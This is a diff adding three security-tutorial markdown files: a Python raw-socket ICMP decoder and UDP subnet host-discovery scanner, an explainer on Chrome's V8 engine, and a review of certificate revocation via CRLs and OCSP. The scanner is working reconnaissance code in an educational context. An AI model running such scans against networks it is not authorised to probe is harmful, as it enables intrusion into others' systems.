+if __name__ == '__main__':
+    main()
+```
+
+
+### Testing the Decoder
+Running the script in one terminal and sending a **ping**  in other will return something like this (notice the ICMP type 0):
+
+```sh
+$ ping www.google.com
+PING www.google.com (74.125.226.16) 56(84) bytes of data.
+64 bytes from lga15s42-in-f16.1e100.net (74.125.226.16): icmp_seq=1 ttl=56 time=15.7 ms
+64 bytes from lga15s42-in-f16.1e100.net (74.125.226.16): icmp_seq=2 ttl=56 time=15.0 ms
+(...)
+```
+
+```sh
+$ sudo python ip_header_decode.py
+IP -> Version:4, Header Length:5, TTL:56, Protocol:1, Source:74.125.226.16, Destination:192.168.1.114
+ICMP -> Type:0, Code:0
+IP -> Version:4, Header Length:5, TTL:56, Protocol:1, Source:74.125.226.16, Destination:192.168.1.114
+ICMP -> Type:0, Code:0
+(...)
+```
+
+In the other hand, if we run **traceroute** instead:
+```sh
+$ traceroute www.google.com
+traceroute to www.google.com (74.125.226.50), 30 hops max, 60 byte packets
+ 1  * * *
+ 2  * * *
+ 3  67.59.255.137 (67.59.255.137)  17.183 ms 67.59.255.129 (67.59.255.129)  70.563 ms 67.59.255.137 (67.59.255.137)  21.480 ms
+ 4  451be075.cst.lightpath.net (65.19.99.117)  14.639 ms rtr102.wan.hcvlny.cv.net (65.19.99.205)  24.086 ms 451be075.cst.lightpath.net (65.19.107.117)  24.025 ms
+ 5  64.15.3.246 (64.15.3.246)  24.005 ms 64.15.0.218 (64.15.0.218)  23.961 ms 451be0c2.cst.lightpath.net (65.19.120.194)  23.935 ms
+ 6  72.14.215.203 (72.14.215.203)  23.872 ms  46.943 ms *
+ 7  216.239.50.141 (216.239.50.141)  48.906 ms  46.138 ms  46.122 ms
+ 8  209.85.245.179 (209.85.245.179)  46.108 ms  46.095 ms  46.074 ms
+ 9  lga15s43-in-f18.1e100.net (74.125.226.50)  45.997 ms  19.507 ms  16.607 ms
+
+```
+We get something like this (notice the [several types of ICMP responses](http://en.wikipedia.org/wiki/Internet_Control_Message_Protocol#Control_messages)):
+```sh
+sudo python ip_header_decode.py
+IP -> Version:4, Header Length:5, TTL:252, Protocol:1, Source:65.19.99.117, Destination:192.168.1.114
+ICMP -> Type:11, Code:0
+(...)
+IP -> Version:4, Header Length:5, TTL:250, Protocol:1, Source:72.14.215.203, Destination:192.168.1.114
+ICMP -> Type:11, Code:0
+IP -> Version:4, Header Length:5, TTL:56, Protocol:1, Source:74.125.226.50, Destination:192.168.1.114
+ICMP -> Type:3, Code:3
+IP -> Version:4, Header Length:5, TTL:249, Protocol:1, Source:216.239.50.141, Destination:192.168.1.114
+ICMP -> Type:11, Code:0
+(...)
+IP -> Version:4, Header Length:5, TTL:56, Protocol:1, Source:74.125.226.50, Destination:192.168.1.114
+ICMP -> Type:3, Code:3
+```
+
+
+
+
+------
+## Writing the Scanner
+
+### Installing netaddr
+
+We are ready to write our full scanner. But, first, let's install [netaddr](https://pypi.python.org/pypi/netaddr), which is a Python library for representing and manipulating network addresses.
+
+Netaddr supports the ability to work with IPv4 and IPv6 addresses and subnets MAC addresses, among others. This is very useful for our problem since we want to be able to use a subnet mask such as 192.168.1.0/24.
+
+```sh
+$ sudo pip install netaddr
+```
+
+We can quickly test this library with the following snippet (which should print "OK"):
+```python
+import netaddr
+
+ip = '192.168.1.114'
+if ip in netaddr.IPNetwork('192.168.1.0/24'):
+    print('OK!')
+```
+
+### Enter the Scanner
+
+To write our scanner we are going to put together everything we have, and then add a loop to spray UDP datagrams with a string signature to all the address within our target subnet.
+
+To make this work, each packet will be sent in a separated thread, to make sure that we are not interfering with the sniff responses:
+
+```python
+import threading
+import time
+import socket
+import os
+import struct
+from netaddr import IPNetwork, IPAddress
+from ICMPHeader import ICMP
+import ctypes
+
+# host to listen on
+HOST = '192.168.1.114'
+# subnet to target (iterates through all IP address in this subnet)
+SUBNET = '192.168.1.0/24'
+# string signature
+MESSAGE = 'hellooooo'
+
+# sprays out the udp datagram
+def udp_sender(SUBNET, MESSAGE):
+    time.sleep(5)
+    sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+    for ip in IPNetwork(SUBNET):
+        try:
+            sender.sendto(MESSAGE, ("%s" % ip, 65212))
+        except:
+            pass
+
+def main():
+    t = threading.Thread(target=udp_sender, args=(SUBNET, MESSAGE))
+    t.start()
+
+    socket_protocol = socket.IPPROTO_ICMP
+    sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)
+    sniffer.bind(( HOST, 0 ))
+    sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
+
+    # continually read in packets and parse their information
+    while 1:
+        raw_buffer = sniffer.recvfrom(65565)[0]
+        ip_header = raw_buffer[0:20]
+        iph = struct.unpack('!BBHHHBBH4s4s' , ip_header)
+
+        # Create our IP structure
+        version_ihl = iph[0]
+        ihl = version_ihl & 0xF
+        iph_length = ihl * 4
+        src_addr = socket.inet_ntoa(iph[8]);
+
+        # Create our ICMP structure
+        buf = raw_buffer[iph_length:iph_length + ctypes.sizeof(ICMP)]
+        icmp_header = ICMP(buf)
+
+        # check for the type 3 and code and within our target subnet
+        if icmp_header.code == 3 and icmp_header.type == 3:
+            if IPAddress(src_addr) in IPNetwork(SUBNET):
+                if raw_buffer[len(raw_buffer) - len(MESSAGE):] == MESSAGE:
+                    print("Host up: %s" % src_addr)
+
+if __name__ == '__main__':
+    main()
+```
+
+Finally, running the scanner  gives a result similar to this:
+```sh
+$ sudo python scanner.py
+Host up: 192.168.1.114
+(...)
+```
+
+
+## Further References:
+
+- [Tutorial to learn netaddr](https://netaddr.readthedocs.org/en/latest/tutorial_01.html).
+- [Black Hat Python](http://www.nostarch.com/blackhatpython).
+- [My Gray hat repo](https://github.com/bt3gl/My-Gray-Hacker-Resources).

Web_Hacking/Chrome_Security_and_V8.md

@@ -0,0 +1,191 @@
+# A Closer Look at Chrome's Security: Understanding V8
+
+[In 2008, Google released a sandbox-oriented browser](http://blogoscoped.com/google-chrome/), that was assembled from several different code libraries from Google and third parties (for instance, it borrowed a rendering machinery from the open-source [Webkit layout engine](https://www.webkit.org/), later changing it to a forked version, [Blink](http://en.wikipedia.org/wiki/Blink_(layout_engine))). Six years later, Chrome has become the preferred browser for [half of the users on the Internet](http://en.wikipedia.org/wiki/File:Usage_share_of_web_browsers_(Source_StatCounter).svg). In this post I investigate further how security is dealt with in this engine, and I summarize the main features of Chrome and its [Chromium Project](http://www.chromium.org/Home), describing the natural way of processing JavaScript with the **V8 JavaScript virtual machine**.
+
+
+
+## They way computers talk...
+
+
+
+In mainstream computer languages, a [source code in a ** high-level language** is transformed to a ** low-level language**](http://www.openbookproject.net/thinkcs/python/english2e/ch01.html) (a machine or assembly language) by either being **compiled** or **interpreted** . It is [a very simple concept](https://www.youtube.com/watch?v=_C5AHaS1mOA), but it is a fundamental one!
+
+### Compilers and Interpreters
+
+**Compilers** produce an intermediate form called **code object**, which is like machine code but augmented with symbols tables to make executable blocks (library files, with file objects). A linker is used to combine them to form executables finally.
+
+**Interpreters** execute instructions without compiling into machine language first. They are first translated into a lower-level intermediate representations such as **byte code** or **abstract syntax trees** (ASTs). Then they are interpreted by a **virtual machine**.
+
+The truth is that things are generally mixed. For example, when you type some instruction in Python's REPL, [the language executes four steps](http://akaptur.com/blog/2013/11/17/introduction-to-the-python-interpreter-3/): *lexing* (breaks the code into pieces), *parsing* (generates an AST with those pieces - it is the syntax analysis), *compiling* (converts the AST into code objects - which are attributes of the function objects), and *interpreting* (executes the code objects).
+
+In Python, byte-compiled code, in the form of **.pyc** files, is used by the compiler to speed-up the start-up time (load time) for short programs that use a lot of standard modules. And, by the way, byte codes are attributes of the code object so to see them, you need to call ```func_code``` (code object) and ```co_code```(bytecode)[1]:
+
+```py
+>>> def some_function():
+... return
+...
+>>> some_function.func_code.co_code
+'d\x00\x00S'
+```
+
+On the other hand, traditional JavaScript code is represented as bytecode or an AST, and then executed in a *virtual machine* or further compiled into machine code. When JavaScript interprets code, it executes roughly the following steps: *parsing* and *preprocessing*, *scope analysis*, and *bytecode or translation to native*. Just a note: the JavaScript engine represents bytecode using [SpiderMonkey](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey/Internals/Bytecode).
+
+So we see that when modern languages choose the way they compile or interpret code, they are trading off with the speed they want things to run. Since browsers are preoccupied with delivering content the faster they can, this is a fundamental concept.
+
+
+### Method JITs and Tracing JITs
+
+To speed things up, instead of having the code being parsed and then executed ([one at a time](http://en.wikipedia.org/wiki/Ahead-of-time_compilation)), **dynamic translators** (*Just-in-time* translators, or JIT) can be used. JITs *translate intermediate representation into machine language at runtime*. They have the efficiency of running native code with the cost of startup time plus increased memory (when the bytecode or AST are first compiled).
+
+Engines have different policies on code generation, which can roughly be grouped into types: **tracing** and **method**.
+
+**Method JITs** emit native code for every block (method) of code and update references dynamically. Method JITs can implement an *inline cache* for rewriting type lookups at runtime.
+
+In **tracing JITs**, native code is only emitted when a certain block (method) is considered *important*. An example is given by traditional JavaScript: if you load a script with functions that are never used, they are never compiled. Additionally, in JavaScript a *cache* is usually implemented due to the nature of its *dynamic typing system*.
+
+ As we will see below, V8 performs direct JIT compilation from (JavaScript) source code to native machine code (IA-32, x86-64, ARM, or MIPS ISAs), **without transforming it to bytecode first**. In addition, V8 performs dynamic several optimizations at runtime (including **inline caching**). But let's not get ahead of ourselves! Also, as a note, Google has implemented a technology called [**Native Client**](http://code.google.com/p/nativeclient/) (NaCl), which allows one to provide compiled code to the Chrome browser.
+
+
+----
+## The way JavaScript rolls...
+
+JavaScript's integration with [Netscape Navigator](http://en.wikipedia.org/wiki/Netscape_Navigator) in the mid-90s made it easier for developers to access HTML page elements such as *forms*, *frames*, and *images*. This was essential for JavaScript's accession to become the most popular scripting engine for the web.
+
+However, the language's high dynamical behavior (that I'm briefly discussing here) came with a price: in the mid-2000s browsers had very slow implementations that did not scale with code size or *object allocation*. Issues such as *memory leaks* when running web apps were becoming mainstream. It was clear that things would only get worse and a new JavaScript engine was a need.
+
+
+### JavaScript's Structure
+
+In JavaScript, every object has a *prototype*, and a prototype is also an object. All JavaScript objects inherit their properties and methods from their prototype.
+
+So, for example, supposing an application that has an object *Point* (borrowed from the [official documentation](https://developers.google.com/v8/design)):
+
+```JavaScript
+function Point(x,y){
+ this.x = x;
+ this.y = y;
+}
+```
+We can create several objects:
+
+```JavaScript
+var a = new Point(0,1);
+var b = new Point(2,3);
+```
+
+And we can access the propriety ```x``` in these object by:
+```
+a.x;
+b.x;
+```
+
+In the above implementation, we would have two different Point objects that do not share any structure. This is because JavaScript is **classless**: you create new objects on the fly and dynamically add or remove proprieties. Functions can move from an object to another. Objects with the same type can appear in the same sites in the program with no constraints.
+
+Furthermore, to store their object proprieties, most JavaScript engines use a *dictionary-like data structure*. Each property access demands a dynamic lookup to resolve their location in memory. This contrasts *static* languages such as Java, where instance variables are located at fixed offsets determined by the compiler (due to the *fixed* object layout by the *object's class*). In this case, access is given by a simple memory load or store (a single instruction).
+
+### JavaScript's Garbage Collection
+
+ Garbage collection is a form of *automatic memory management*: an attempt to reclaim the memory occupied by objects that are not being used any longer (*i.e.*, if an object loses its reference, the object's memory has to be reclaimed).
+
+The other possibility is *manual memory management*, which requires the developer to specify which objects need to be deallocated. However, manual garbage collection can result in bugs such as:
+
+1. **Dangling pointers**: when a piece of memory is freed while there are still pointers to it.
+
+2. **Double free bugs**: when the program tries to free a region of memory that it had already freed.
+
+3. **Memory leaks**: when the program fails to free memory occupied by an object that had become unreachable, leading to memory exhaustion.
+
+
+As one could guess, JavaScript has automatic memory management. Actually, the core design flaw of traditional JavaScript engines is **bad garbage collection behavior**. The problem is that JavaScript engines do not know exactly where all the pointers are, and they will search through the entire execution stack to see what data looks like pointers (for instance, integers can look like a pointer to an address in the heap).
+
+
+
+
+------------
+## Introducing V8
+
+A solution for the issues presented above came from Google, with the **V8 Engine**. V8 is an [open source JavaScript engine](https://code.google.com/p/v8/) written in C++ that gave birth to Chrome. V8 has a way to categorize the highly-dynamic JavaScript objects into classes, bringing techniques from static class-based languages. In addition, as I mentioned in the beginning, V8 compiles JavaScript to native machine code before executing it.
+
+In terms of performance, besides direct compilation to native code, three main features in V8 are fundamental:
+
+ 1. Hidden classes.
+
+ 2. In-line caching as an optimization technique.
+
+ 3. Efficient memory management system (garbage collection).
+
+Let's take a look at each of them.
+
+### V8's Hidden Class
+
+In V8, as execution goes on, objects that end up with the same properties will share the same **hidden class**. This way, the engine applies dynamic optimizations.
+
+Consider the Point example from before: we have two different objects, ```a``` and ```b```. Instead of having them completely independent, V8 makes them share a hidden class. So instead of creating two objects, we have *three*. The hidden class shows that both objects have the same proprieties, and an object changes its hidden class when a new property is added.
+
+So, for our example, if another Point object is created:
+
+1. Initially, the Point object has no properties, so the newly created object refers to the initial class **C0**. The value is stored at offset zero of the Point object.
+
+2. When property ```x``` is added, V8 follows the hidden class transition from **C0** to **C1** and writes the value of ```x``` at the offset specified by **C1**.
+
+3. When property ```y``` is added, V8 follows the hidden class transition from **C1** to **C2** and writes the value of ```y``` at the offset specified by **C2**.
+
+Instead of having a generic lookup for propriety, V8 generates efficient machine code to search the propriety. The machine code generated for accessing ```x``` is something like this:
+
+```
+# ebx = the point object
+cmp [ebx, <class offset>], <cached class>
+jne <inline cache miss>
+mv eax, [ebx, <cached x offset>]
+```
+Instead of a complicated lookup at the propriety, the propriety reading translates into three machine operations!
+
+It might seem inefficient to create a new hidden class whenever a property is added. However, because of the class transitions, the hidden classes can be reused several times. It turns out that most of the access to objects are within the same hidden class.
+
+
+
+### V8's Inline caching
+
+
+When the engine runs the code, it does not know about the hidden class. V8 optimizes property access by predicting that the class will also be used for all future objects accessed in the same section of code, and adds the information to the **inline cache code**.
+
+Inline caching is a class-based object-oriented optimization technique employed by some language runtimes. The concept of inline caching is based on the observation that the objects that occur at a particular call site are often of the same type. Therefore, performance can be increased by storing the result of a method lookup *inline* (at the call site).
+
+If V8 has predicted the property's value correctly, this is assigned in a single operation. If the prediction is incorrect, V8 patches the code to remove the optimization. To facilitate the process, call sites are assigned in four different states:
+
+
+1. **Unitilized**: Initial state, for any object that was never seen before.
+
+2. **Pre-monomorphic**: Behaves like an uninitialized but do a one-time lookup and rewrite it to the monophorfic state. It's good for code executed only once (such as initialization and setup).
+
+3. **Monomphorpic**: Very fast. Recodes the hidden class of the object already seen.
+
+4. **Megamorphic**: Like the initialized stub (since it always does runtime lookup) except that it never replaces itself.
+
+In conclusion, the combination of using hidden classes to access properties with inline caching (plus machine code generation) does optimize in cases where the type of objects are frequently created and accessed in a similar way. This dramatically improves the speed at which most JavaScript code can be executed.
+
+
+
+
+### V8's Efficient Garbage Collecting
+
+
+In V8, a **precise garbage collection** is used. *Every pointer's location is known on the execution stack*, so V8 is able to implement incremental garbage collection. V8 can migrate an object to another place and rewire the pointer.
+
+In summary, [V8's garbage collection](https://developers.google.com/v8/design#garb_coll):
+
+ 1. stops program execution when performing a garbage collection cycle,
+
+ 2. processes only part of the object heap in most collection cycles (minimizing the impact of stopping the application),
+
+ 3. always knows exactly where all objects and pointers are in memory (avoiding falsely identifying objects as pointers).
+
+
+
+-------------
+
+## Further Readings:
+
+* [Privacy And Security Settings in Chrome](https://noncombatant.org/2014/03/11/privacy-and-security-settings-in-chrome/)
+
+[1] When the Python interpreter is invoked with the ```-O``` flag, optimized code is generated and stored in ***.pyo*** files. The optimizer removes assert statements.

Web_Hacking/guide_to_certs_and_cas.md

@@ -0,0 +1,123 @@
+# On CRLs, OCSP, and a Short Review of Why Revocation Checking Doesn't Work (for Browsers)
+
+A guide about regulation details of **SSL/TLS connections**. These connections rely on a chain of trust. This chain of trust is established by **certificate authorities** (CAs), which serve as trust anchors to verify the validity of who a device thinks it is talking to. In technical terms, **X.509** is an [ITU-T](http://en.wikipedia.org/wiki/ITU-T) standard that specifies standard formats for things such as *public key certificates* and *certificate revocation lists*.
+
+A **public key certificate** is how websites bind their identity to a *public key* to allow an encrypted session (SSL/TLS) with the user. The certificate includes information about the key, the owner's *identity* (such as the DNS name), and the *digital signature* of the entity that issued the certificate (the [Certificate Authority](http://en.wikipedia.org/wiki/Certificate_authority), also known as CA).  As a consequence, browsers and other [user-agents](http://en.wikipedia.org/wiki/User_agent) should always be able to check the authenticity of these certificates before proceeding.
+
+Some organizations need SSL/TLS simply for confidentiality (encryption), while other organizations use it to enhance trust in their security and identity. Therefore, CAs issue different certificates with different levels of verification, ranging from just confirming the control of the domain name (*Domain Validation*, DV) to more extensive identity checks (*Extended Validation*, EV). For instance, if a site's DNS gets hijacked, while the attacker could be able to issue a controlled DV, she wouldn't be able to issue new EV certificates just with domain validation.
+
+Since EV and DV certificates can be valid for years, they might lose their validity before they expire by age.  For instance, the website can lose control of its key or, as recently in the event of the [Heartbleed bug](http://heartbleed.com/), a very large number of SSL/TLS websites needed to revoke and reissue their certificates. Therefore, the need for efficient revocation machinery is evident.
+
+For many years,  two ways of revoking a certificate have prevailed:
+
+* by checking a  **Certificate Revocation Lists** (CRLs), which are lists of serial numbers of certificates that have been revoked, provided by *each CA*. As one can imagine, they can become quite large.
+
+* by a communication protocol named **Online Certificate Status Protocol** (OCSP), which allows a system to check with a CA for the status of a single certificate without pulling the entire CRL.
+
+
+While CRLs are long lists and OCSP only deals with a single certificate, they are both methods of getting signed statements about the status of a certificate; and they both present issues concerning privacy, integrity, and availability. In this post, I discuss some of these issues and I review possible alternatives.
+
+
+
+----
+## Broken Models
+
+
+
+### Certificate Revocation Lists (CRLs)
+
+
+A CRL is a list of  serial numbers (such as ```54:99:05:bd:ca:2a:ad:e3:82:21:95:d6:aa:ee:b6:5a```) of unexpired security certificates which have been revoked by their issuer and should not be trusted.
+
+Each CA maintains and publishes its own CRL. CRLs are in continuous changes: old certificates expire due to their age and serial numbers of newly revoked certificates are added.
+
+The main issue here is that the original *public key infrastructure* (PKI) scheme does not scale. Users all over the Internet are constantly checking for revocation and having to download files that can be many MB.  In addition, although CRL can be cached, they are still very volatile, turning CAs into a major performance bottleneck on the Internet.
+
+
+
+### Online Certificate Status Protocol (OCSP)
+
+[OCSP was intended to replace the CRL system](https://tools.ietf.org/html/rfc2560), however, it presented several issues:
+
+* *Reliability*: Every time any user connects to any secured website, her browser must query the CA's OCSP server. The typical CA issues certificates for hundreds of thousands of individual websites and the checks can be up to seconds.  Also, the CA's OCSP server might experience downtime! If a server is offline, overloaded, under attack, or unable to reply for any reason, certificate validity cannot be confirmed.
+
+* *Privacy*: CAs can learn the IP address of users and which websites they wish to securely visit.
+
+* *Security*: Browsers cannot be sure that a CA's server is reachable (*e.g.*, captive portals that require one to sign in on an HTTPS site, but blocks traffic to all other sites, including CA's OCSP servers).
+
+
+One attempt to circumvent the lack of assurance of a server's reliability was issuing OCSP checks with a **soft-fail** option. In this case, online revocation checks which result in a *network error would be ignored*.
+
+This brings serious issues. A simple example is when an [attacker can intercept HTTPS traffic and make online revocation checks appear to fail, bypassing OCSP checks](http://www.thoughtcrime.org/papers/ocsp-attack.pdf).
+
+On the flip side, it's also not a good idea to enforce a **hard-fail** check:  OCSP servers are pretty flaky/slow and you do not want to rely on their capabilities (DDoS attackers would love this though).
+
+
+
+----
+## Some Light in a Solution
+
+There are several attempts of a solution for the revocation problem but none of them has been regarded as the definitive one. Here some of them:
+
+### CRLSets
+
+
+Google Chrome uses [**CRLSets**](https://dev.chromium.org/Home/chromium-security/crlsets) in its update mechanism to send lists of serial numbers of revoked certificates which are constantly added by crawling the CAs.
+
+This method brings more performance and reliability to the browser and, in addition, [CRLSet updates occur at least daily](https://www.imperialviolet.org/2014/04/19/revchecking.html), which is faster than most OCSP validity periods.
+
+A complementary initiative from Google is the  [Certificate Transparency](http://www.certificate-transparency.org/what-is-ct) project. The objective is to help with structural flaws in the SSL certificate system such as domain validation, end-to-end encryption, and the chains of trust set up by CAs.
+
+
+
+
+### OCSP stapling
+
+
+**OCSP Stapling** ([TLS Certificate Status Request extension](http://tools.ietf.org/html/draft-hallambaker-tlssecuritypolicy-03)) is an alternative approach for checking the revocation status of certificates. It allows the presenter of a certificate to bear the resource cost involved in providing OCSP responses, instead of the CA, in a fashion reminiscent of the [Kerberos Ticket](http://en.wikipedia.org/wiki/Kerberos_(protocol)).
+
+In a simple example, the certificate holder is the one who periodically queries the OCSP server, obtaining a *signed time-stamped OCSP response*. When users attempt to connect to the website, the response is signed with the SSL/TLS handshake via the Certificate Status Request extension response. Since the stapled response is signed by the CA, it cannot be forged (without the CA's signing key).
+
+If the stapled OCSP has the [Must Staple](http://tools.ietf.org/html/draft-hallambaker-muststaple-00) capability, it becomes hard-fail if a valid OCSP response is not stapled. To make a browser know this option, one can add a "must staple" assertion to the site's security certificate and/or create a new HTTP response header similar to [HSTS](http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security).
+
+Some fixable issue is that OCSP stapling supports only one response at a time. This is insufficient for sites that use several different certificates for a single page. Nevertheless, OCSP stapling is the most promising solution for the problem for now. The idea has been implemented by the servers for years, and recently, a [few browsers are adopting it](https://blog.mozilla.org/security/2013/07/29/ocsp-stapling-in-firefox/). If this solution is going to become mainstream, only time will show.
+
+
+-----
+
+**tl;dr:** The security of the Internet depends on the agent's ability to revoke compromised certificates, but the status quo is broken. There is a urgent need for rethinking the way things have been done!
+
+-----
+
+**Edited, 11/19/2014:** The **EFF** just announced an attempt to help the CA  problem:  [Let's Encrypt](https://www.eff.org/deeplinks/2014/11/certificate-authority-encrypt-entire-web), "a new certificate authority (CA) initiative that aims to clear the remaining roadblocks to transition the Web from HTTP to HTTPS". The initiative is planned to be released in 2015. These are good news, but it is still not clear whether they are going to address the revocation problem with new solutions.
+
+
+
+
+----
+
+### References:
+
+[Imperial Violet: Revocation Doesn't work](https://www.imperialviolet.org/2011/03/18/revocation.html)
+
+[Imperial Violet: Don't Enable Revocation Checking](https://www.imperialviolet.org/2014/04/19/revchecking.html)
+
+[Imperial Violet: Revocation Still Doesn't Work](https://www.imperialviolet.org/2014/04/29/revocationagain.html)
+
+[Proxy server for testing revocation](https://gist.github.com/agl/876829)
+
+[Revocation checking and Chrome's CRL](https://www.imperialviolet.org/2012/02/05/crlsets.html)
+
+[Discussion about OCSP checking at Chrome](https://code.google.com/p/chromium/issues/detail?id=361820)
+
+[RFC Transport Layer Security (TLS) Channel IDs](http://tools.ietf.org/html/draft-balfanz-tls-channelid-00)
+
+[Fixing Revocation for Web Browsers, iSEC Partners](https://www.isecpartners.com/media/17919/revocation-whitepaper_pdf__2_.pdf)
+
+[Proposal for Better Revocation Model of SSL Certificates](https://wiki.mozilla.org/images/e/e3/SSLcertRevocation.pdf)
+
+
+
+[SSL Server Test](https://www.ssllabs.com/ssltest/)
+
+[SSL Certificate Checker](https://www.digicert.com/help/)